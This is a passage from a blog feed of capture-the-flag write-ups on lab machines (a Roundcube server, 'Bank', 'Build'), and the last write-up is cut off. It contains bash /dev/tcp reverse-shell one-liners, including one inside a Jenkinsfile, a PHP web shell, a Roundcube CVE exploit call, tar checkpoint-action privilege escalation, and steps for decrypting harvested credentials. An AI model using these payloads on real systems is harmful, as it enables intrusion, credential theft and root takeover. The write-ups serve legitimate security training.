&lt;pre&gt;&lt;code&gt;php CVE-2025-49113.php http://172.16.18.10/roundcube marina 3467marina &quot;bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;VPN_IP&amp;gt;/4444 0&amp;gt;&amp;amp;1&apos;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image2.png&quot; alt=&quot;Exploit execution&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The exploit successfully executes the supplied command, and the listener receives a reverse shell as &lt;code&gt;www-data&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image3.png&quot; alt=&quot;Reverse shell received&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Shell as leo&lt;/h2&gt;
&lt;p&gt;With access as &lt;code&gt;www-data&lt;/code&gt;, we can inspect the live Roundcube installation and its configuration.&lt;/p&gt;
&lt;p&gt;The live &lt;code&gt;config/config.inc.php&lt;/code&gt; contains the current database credentials and the encryption key used by Roundcube to protect stored IMAP passwords:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /var/www/html/roundcube/config/config.inc.php
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$config[&apos;db_dsnw&apos;] = &apos;mysql://roundcube:roundcb3%21%23%23%23@localhost/roundcube&apos;;
$config[&apos;imap_host&apos;] = &apos;localhost:143&apos;;
$config[&apos;smtp_host&apos;] = &apos;localhost:587&apos;;
$config[&apos;des_key&apos;] = &apos;lCP7fwi7Irf9uMT4nDl6G74D&apos;;
$config[&apos;plugins&apos;] = [];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The database password is URL-encoded in the configuration. Decoding it gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;roundcube : roundcb3!###
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We use these credentials to access the local MariaDB instance:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql -u roundcube -p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;users&lt;/code&gt; table contains two accounts, &lt;code&gt;leo&lt;/code&gt; and &lt;code&gt;marina&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MariaDB [roundcube]&amp;gt; select * from users;
| user_id | username | mail_host | ...
|       1 | leo      | localhost | ...
|       2 | marina   | localhost | ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this point, the &lt;code&gt;session&lt;/code&gt; table is worth investigating because Roundcube stores serialized session data in the database. Following the Roundcube notes on HackTricks:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/roundcube.html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We query the &lt;code&gt;session&lt;/code&gt; table and find a session belonging to &lt;code&gt;leo&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MariaDB [roundcube]&amp;gt; SELECT * FROM session;
| pqmqotlrk92c9ig5ibf1ie1r0f | 2025-10-31 16:43:02 | 192.168.1.6 | bGFuZ3VhZ2V8czo1OiJl&amp;lt;BASE64_BLOB_SNIP&amp;gt;Y29tcG9zZV9kYXR
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The session data is Base64-encoded, so we decode the blob:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;&amp;lt;BASE64_BLOB&amp;gt;&apos; | base64 -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The decoded data contains the &lt;code&gt;leo&lt;/code&gt; session information, including an encrypted password:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;language|s:5:&quot;en_US&quot;;...user_id|i:1;username|s:3:&quot;leo&quot;;storage_host|s:9:&quot;localhost&quot;;storage_port|i:143;storage_ssl|b:0;password|s:32:&quot;+I3J+D4QPt7JZVfbcd/KIpQNr8k1b+SC&quot;;login_time|i:1761924881;timezone|s:11:&quot;Europe/Rome&quot;;...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The password stored in the session is encrypted using the &lt;code&gt;des_key&lt;/code&gt; value from the Roundcube configuration. We can therefore use the recovered key and encrypted value with a Roundcube decryption tool:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://keydecryptor.com/decryption-tools/roundcube
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image4.png&quot; alt=&quot;Decrypted leo password&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The decrypted credentials are:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;leo : cleopatra1956
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We test the password against SSH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh leo@172.16.18.10

&amp;lt;SNIP&amp;gt;

leo@roundserver:~$ id
uid=1000(leo) gid=1000(leo) groups=1000(leo)
leo@roundserver:~$ ls
mail  user.flg
leo@roundserver:~$ cat user.flg
a3d&amp;lt;SNIP&amp;gt;fd6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The credentials are reused for SSH access, giving us a shell as &lt;code&gt;leo&lt;/code&gt; and access to the user flag.&lt;/p&gt;
&lt;h2&gt;Shell as root&lt;/h2&gt;
&lt;h3&gt;Process Monitoring&lt;/h3&gt;
&lt;p&gt;While enumerating the filesystem as &lt;code&gt;leo&lt;/code&gt;, we find a &lt;code&gt;backup.tar.gz&lt;/code&gt; file owned by root in &lt;code&gt;/tmp&lt;/code&gt;. Its timestamp changes over time, suggesting that it is being generated by a scheduled task:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;leo@roundserver:/tmp$ ls -la
-rw-r--r--  1 root root   68751 Sep  9 17:01 backup.tar.gz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To identify what is creating the archive, we upload and run &lt;code&gt;pspy64&lt;/code&gt;, which allows us to monitor processes without requiring root privileges:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/DominicBreuker/pspy/releases/tag/v1.2.1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;leo@roundserver:/tmp$ ./pspy64
2026/09/09 17:17:01 CMD: UID=0     PID=55061  | /bin/sh -c cd /home/leo/mail/ &amp;amp;&amp;amp; tar -czf /tmp/backup.tar.gz *
2026/09/09 17:17:01 CMD: UID=0     PID=55063  | tar -czf /tmp/backup.tar.gz Drafts Sent Trash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output shows a root process executing &lt;code&gt;tar&lt;/code&gt; from &lt;code&gt;/home/leo/mail/&lt;/code&gt; with a wildcard:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tar -czf /tmp/backup.tar.gz *
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because &lt;code&gt;leo&lt;/code&gt; owns the &lt;code&gt;mail&lt;/code&gt; directory, we can create files with controlled names there. When the cron job executes, these filenames are expanded by the shell and passed to &lt;code&gt;tar&lt;/code&gt;. This makes the command vulnerable to tar option injection.&lt;/p&gt;
&lt;h3&gt;Tar Wildcard Injection&lt;/h3&gt;
&lt;p&gt;GNU &lt;code&gt;tar&lt;/code&gt; supports options such as &lt;code&gt;--checkpoint&lt;/code&gt; and &lt;code&gt;--checkpoint-action&lt;/code&gt;, which can be abused when filenames beginning with &lt;code&gt;--&lt;/code&gt; are passed to the command.&lt;/p&gt;
&lt;p&gt;We create a script that will copy &lt;code&gt;/bin/bash&lt;/code&gt; to &lt;code&gt;/tmp/rootbash&lt;/code&gt; and enable the SUID bit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;leo@roundserver:~$ /home/leo/mail/
leo@roundserver:~/mail$ echo &quot;cp /bin/bash /tmp/rootbash &amp;amp;&amp;amp; chmod +s /tmp/rootbash&quot; &amp;gt; exploit.sh
leo@roundserver:~/mail$ ls
Drafts    exploit.sh  Sent  Trash
leo@roundserver:~/mail$ touch ./&quot;--checkpoint=1&quot;
leo@roundserver:~/mail$ touch ./&quot;--checkpoint-action=exec=sh exploit.sh&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the root cron job runs, the wildcard expands to the crafted filenames. &lt;code&gt;tar&lt;/code&gt; interprets them as options and executes &lt;code&gt;exploit.sh&lt;/code&gt; with root privileges.&lt;/p&gt;
&lt;p&gt;The next execution creates the SUID-enabled copy of &lt;code&gt;bash&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;leo@roundserver:/tmp$ ls -la
-rw-r--r--  1 root root   68838 Sep  9 17:21 backup.tar.gz
&amp;lt;SNIP&amp;gt;
-rwsr-sr-x  1 root root  139652 Sep  9 17:21 rootbash
leo@roundserver:/tmp$ ./rootbash -i -p
rootbash-5.2# id
uid=1000(leo) gid=1000(leo) euid=0(root) egid=0(root) groups=0(root),1000(leo)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting shell has an effective UID of 0, providing root-level access to the system. We can now read the root flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rootbash-5.2# cd /root
rootbash-5.2# ls
cleanup  root.flg
rootbash-5.2# cat root.flg
88b&amp;lt;SNIP&amp;gt;7bb
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Bank - HTB Machine</title><link>https://xiaowenjictf.github.io/posts/htb/bank/bank/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/htb/bank/bank/</guid><description>Bank writeup</description><pubDate>Sun, 04 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;Bank is a Linux machine that demonstrates DNS zone transfer vulnerabilities, PHP file upload exploitation, and SUID privilege escalation. The attack begins with discovering an open DNS server vulnerable to zone transfer, revealing the &lt;code&gt;bank.htb&lt;/code&gt; domain. Through directory enumeration, we find a support portal with file upload functionality. By exploiting the application&apos;s handling of &lt;code&gt;.htb&lt;/code&gt; files as PHP, we upload a web shell and gain initial access. Finally, we discover a SUID binary that provides immediate root access, allowing complete system compromise.&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;h3&gt;Initial Enumeration&lt;/h3&gt;
&lt;p&gt;We begin by scanning the target machine to identify open ports:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sC -sV -p- -v 10.129.29.200 --min-rate 5000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Key Findings:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Port 22: SSH (OpenSSH 6.6.1p1)&lt;/li&gt;
&lt;li&gt;Port 53: DNS (ISC BIND 9.9.5-3ubuntu0.14)&lt;/li&gt;
&lt;li&gt;Port 80: HTTP (Apache 2.4.7)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Critical Discovery:&lt;/strong&gt; The DNS service (port 53) is open, which could be vulnerable to zone transfer attacks if misconfigured.&lt;/p&gt;
&lt;h3&gt;DNS Zone Transfer Attack&lt;/h3&gt;
&lt;p&gt;With port 53 open, we attempt a DNS zone transfer attack:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig axfr @10.129.29.200 bank.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Zone Transfer Success:&lt;/strong&gt; The attack reveals the &lt;code&gt;bank.htb&lt;/code&gt; domain and associated DNS records, confirming the target&apos;s internal domain structure.&lt;/p&gt;
&lt;h3&gt;Web Directory Enumeration&lt;/h3&gt;
&lt;p&gt;We enumerate directories on the discovered domain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dirsearch -u http://bank.htb/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Findings:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/support.php&lt;/code&gt; - Returns 302 redirect&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/uploads/&lt;/code&gt; - Directory accessible&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/login.php&lt;/code&gt; - Login portal&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Shell as www-data&lt;/h2&gt;
&lt;h3&gt;Bypassing Redirect&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;support.php&lt;/code&gt; page redirects to &lt;code&gt;login.php&lt;/code&gt;, but we can bypass this using curl:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl http://bank.htb/support.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image3.png&quot; alt=&quot;CURL Bypass&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We save the page for offline analysis:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl http://bank.htb/support.php -o output
firefox output
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;File Upload Discovery&lt;/h3&gt;
&lt;p&gt;Analyzing the saved page reveals a file upload form with an important comment:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image4.png&quot; alt=&quot;Source Code Analysis&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exploitation Opportunity:&lt;/strong&gt; The application processes &lt;code&gt;.htb&lt;/code&gt; files as PHP, allowing us to upload a web shell.&lt;/p&gt;
&lt;h3&gt;Uploading Web Shell&lt;/h3&gt;
&lt;p&gt;We create a PHP web shell in a &lt;code&gt;.htb&lt;/code&gt; file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php system($_GET[&apos;cmd&apos;]); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We upload the shell using curl:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST http://bank.htb/support.php \
  -F &quot;title=Test&quot; \
  -F &quot;message=Test message&quot; \
  -F &quot;fileToUpload=@shell.htb&quot; \
  -F &quot;submitadd=Submit&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image5.png&quot; alt=&quot;File Upload&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Gaining RCE&lt;/h3&gt;
&lt;p&gt;The uploaded file is accessible in the &lt;code&gt;/uploads&lt;/code&gt; directory. We test command execution:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://bank.htb/uploads/shell.htb?cmd=id
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image6.png&quot; alt=&quot;Command Execution&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RCE Confirmed:&lt;/strong&gt; We can execute commands via the web shell.&lt;/p&gt;
&lt;p&gt;We use URL-encoded bash reverse shell to gain access:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# URL-encoded: bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/IP/PORT 0&amp;gt;&amp;amp;1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image7.png&quot; alt=&quot;Reverse Shell Obtained&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;User Flag&lt;/h3&gt;
&lt;p&gt;We locate the user flag in the home directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image8.png&quot; alt=&quot;User Flag&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;User Flag:&lt;/strong&gt; &lt;code&gt;a43f68fa05e293666e8f36adb67c9d27&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Shell as root&lt;/h2&gt;
&lt;h3&gt;SUID Enumeration&lt;/h3&gt;
&lt;p&gt;We search for SUID binaries for privilege escalation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image9.png&quot; alt=&quot;SUID Binaries&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Critical Discovery:&lt;/strong&gt; &lt;code&gt;/var/htb/bin/emergency&lt;/code&gt; - Custom SUID binary.&lt;/p&gt;
&lt;h3&gt;Privilege Escalation&lt;/h3&gt;
&lt;p&gt;Executing the SUID binary grants immediate root access and we retrieved the final flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/var/htb/bin/emergency
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image10.png&quot; alt=&quot;Root Flag&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Root Flag:&lt;/strong&gt; &lt;code&gt;8bad23ea8c235f10f33782deb72161e0&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>Build - Vulnlab Machine</title><link>https://xiaowenjictf.github.io/posts/htb/build/buid/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/htb/build/buid/</guid><description>Build writeup</description><pubDate>Thu, 01 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;Build is a Linux machine that demonstrates a comprehensive attack chain involving rsync enumeration, Jenkins credential decryption, Gitea webhook exploitation, Docker container access, internal network pivoting, and privilege escalation through DNS manipulation and rlogin authentication. The attack begins with discovering rsync allowing anonymous access to backup files, enabling extraction and decryption of Jenkins credentials. Using these credentials, we access the Gitea instance, exploit a webhook to execute code via Jenkins, and gain access to a Docker container. Through internal network enumeration and pivoting, we discover a PowerDNS Admin instance, crack credentials, modify DNS records, and ultimately exploit rlogin for complete system compromise.&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;h3&gt;Initial Enumeration&lt;/h3&gt;
&lt;p&gt;We begin by scanning the target machine to identify open ports:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sC -sV -p- -v 10.129.234.169 --min-rate 1000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Key Findings:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Port 22: SSH (OpenSSH 8.9p1)&lt;/li&gt;
&lt;li&gt;Port 53: PowerDNS service&lt;/li&gt;
&lt;li&gt;Ports 512-514: RSH services (rexecd, login, shell)&lt;/li&gt;
&lt;li&gt;Port 873: Rsync service (protocol version 31)&lt;/li&gt;
&lt;li&gt;Port 3000: Gitea web application&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Critical Discovery:&lt;/strong&gt; The rsync service (port 873) is open, which can allow anonymous access to file shares, potentially exposing sensitive backup files.&lt;/p&gt;
&lt;h3&gt;RSync Enumeration and Backup Access&lt;/h3&gt;
&lt;p&gt;We test if the rsync service allows anonymous listing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rsync --list-only rsync://10.129.234.169
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; The service shows a &lt;code&gt;backups&lt;/code&gt; share that is accessible without authentication.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image.png&quot; alt=&quot;Rsync Enumeration&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We download the entire backups directory to our local machine for analysis:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rsync -av rsync://10.129.234.169/backups backups
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The transfer reveals a significant file: &lt;code&gt;jenkins.tar.gz&lt;/code&gt;, indicating Jenkins configuration and potentially sensitive credentials.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image2.png&quot; alt=&quot;Downloading Backup&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After extracting the archive, we examine the structure:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tar xf jenkins.tar.gz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image3.png&quot; alt=&quot;Extracted Files&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File Structure Analysis:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Jenkins configuration files&lt;/li&gt;
&lt;li&gt;Job definitions and build history&lt;/li&gt;
&lt;li&gt;Secret files including &lt;code&gt;master.key&lt;/code&gt; and &lt;code&gt;hudson.util.Secret&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Jenkins Credential Decryption&lt;/h3&gt;
&lt;p&gt;Within the backup files, we discover encrypted credentials in &lt;code&gt;/jobs/build/config.xml&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image4.png&quot; alt=&quot;Encrypted Credentials&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We use the Jenkins decryptor tool along with the extracted master key and secret files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pipx install git+https://github.com/dadevel/jenkins-decryptor.git@main
jenkins-decryptor backups/jenkins_configuration/secrets/master.key backups/jenkins_configuration/secrets/hudson.util.Secret backups/jenkins_configuration/jobs/build/config.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image5.png&quot; alt=&quot;Decryption Process&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Decryption Success:&lt;/strong&gt; The tool successfully decrypts the credentials, revealing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Username:&lt;/strong&gt; &lt;code&gt;buildadmin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password:&lt;/strong&gt; &lt;code&gt;Git1234!&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/image6.png&quot; alt=&quot;Decrypted Credentials&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Shell in Container&lt;/h2&gt;
&lt;h3&gt;Gitea Access and Webhook Discovery&lt;/h3&gt;
&lt;p&gt;Using the decrypted credentials, we log into the Gitea instance running on port 3000:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Credentials:&lt;/strong&gt; &lt;code&gt;buildadmin:Git1234!&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Initial Access:&lt;/strong&gt; Successful login provides access to repositories and configuration settings.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image7.png&quot; alt=&quot;Gitea Login&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Within the Gitea project settings, we discover a configured webhook that triggers Jenkins builds.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image8.png&quot; alt=&quot;Webhook Found&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Found a webhook at:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://10.129.234.169:3000/buildadm/dev/settings/hooks
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image9.png&quot; alt=&quot;Webhook Configuration&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exploitation Opportunity:&lt;/strong&gt; Webhooks that execute Jenkins pipelines can be exploited by modifying the pipeline definition to execute arbitrary commands.&lt;/p&gt;
&lt;h3&gt;Remote Code Execution via Jenkins Pipeline&lt;/h3&gt;
&lt;p&gt;We modify the &lt;code&gt;Jenkinsfile&lt;/code&gt; in the repository to include a reverse shell payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pipeline {
    agent any

    stages {
        stage(&apos;Do nothing&apos;) {
            steps {
                sh &apos;bash -c &quot;/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;IP&amp;gt;/&amp;lt;PORT&amp;gt; 0&amp;gt;&amp;amp;1&quot;&apos;
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image10.png&quot; alt=&quot;Modified Jenkinsfile&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After committing the modified Jenkinsfile to the repository, the webhook automatically triggers a Jenkins build, which executes our reverse shell payload.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reverse Shell Success:&lt;/strong&gt; Our netcat listener receives a connection, granting us shell access to the Jenkins build agent.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image11.png&quot; alt=&quot;Reverse Shell Obtained&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Container Analysis and Initial Foothold&lt;/h3&gt;
&lt;p&gt;Upon gaining shell access, we discover we&apos;re inside a Docker container rather than the main host.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Container Discovery:&lt;/strong&gt; We find &lt;code&gt;user.txt&lt;/code&gt; in &lt;code&gt;/root&lt;/code&gt;, confirming containerized environment.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image12.png&quot; alt=&quot;User Flag&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;User Flag:&lt;/strong&gt; &lt;code&gt;466098e1d44521703f270f93699c40f7&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Shell as root&lt;/h2&gt;
&lt;h3&gt;Container Escape and Internal Network Discovery&lt;/h3&gt;
&lt;p&gt;A critical discovery in the container&apos;s root directory is a &lt;code&gt;.rhosts&lt;/code&gt; file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat .rhosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image13.png&quot; alt=&quot;Rhosts File&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Configuration Content:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;intern.build.vl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Security Implication:&lt;/strong&gt; This file allows passwordless root login from the specified hostname via rlogin/rsh services when DNS resolution points to an allowed IP address.&lt;/p&gt;
&lt;h3&gt;Proxy Tunneling for Tool Installation&lt;/h3&gt;
&lt;p&gt;The Docker container has minimal tools installed, lacking essential enumeration utilities.&lt;/p&gt;
&lt;p&gt;We configure Burp Suite as a transparent proxy to intercept and modify HTTP requests from the container:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image14.png&quot; alt=&quot;Burp Proxy Setup&quot; /&gt;
&lt;img src=&quot;images/image15.png&quot; alt=&quot;Burp Configuration&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Container Proxy Configuration:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export http_proxy=http://&amp;lt;IP&amp;gt;:8080/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using the proxy, we can now install necessary tools:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt-get -o Acquire::ForceIPv4=true update
apt-get -o Acquire::ForceIPv4=true install net-tools -y
apt-get -o Acquire::ForceIPv4=true install nmap -y
apt-get -o Acquire::ForceIPv4=true install mariadb-client -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image16.png&quot; alt=&quot;System Update&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Internal Service Enumeration&lt;/h3&gt;
&lt;p&gt;After running network enumeration with &lt;code&gt;arp -a&lt;/code&gt;, we discovered internal hosts:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image17.png&quot; alt=&quot;ARP Scan&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Scanning the Docker host (&lt;code&gt;172.18.0.1&lt;/code&gt;) reveals an open MySQL port:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sC -sV -p- -v 172.18.0.1 --min-rate 5000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image18.png&quot; alt=&quot;MySQL Discovery&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MySQL Access:&lt;/strong&gt; The database allows root access without a password:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql -h 172.18.0.1 -u root -p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image19.png&quot; alt=&quot;MySQL Access&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Within the database, we find PowerDNS Admin credentials:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image20.png&quot; alt=&quot;Database Credentials&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And DNS information:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pdns.build.vl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image21.png&quot; alt=&quot;DNS Information&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We extract and crack the hash using John the Ripper:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;john hash --wordlist=/usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image22.png&quot; alt=&quot;Password Cracked&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cracked Credentials:&lt;/strong&gt; &lt;code&gt;admin:winston&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;PowerDNS Admin Access and DNS Manipulation&lt;/h3&gt;
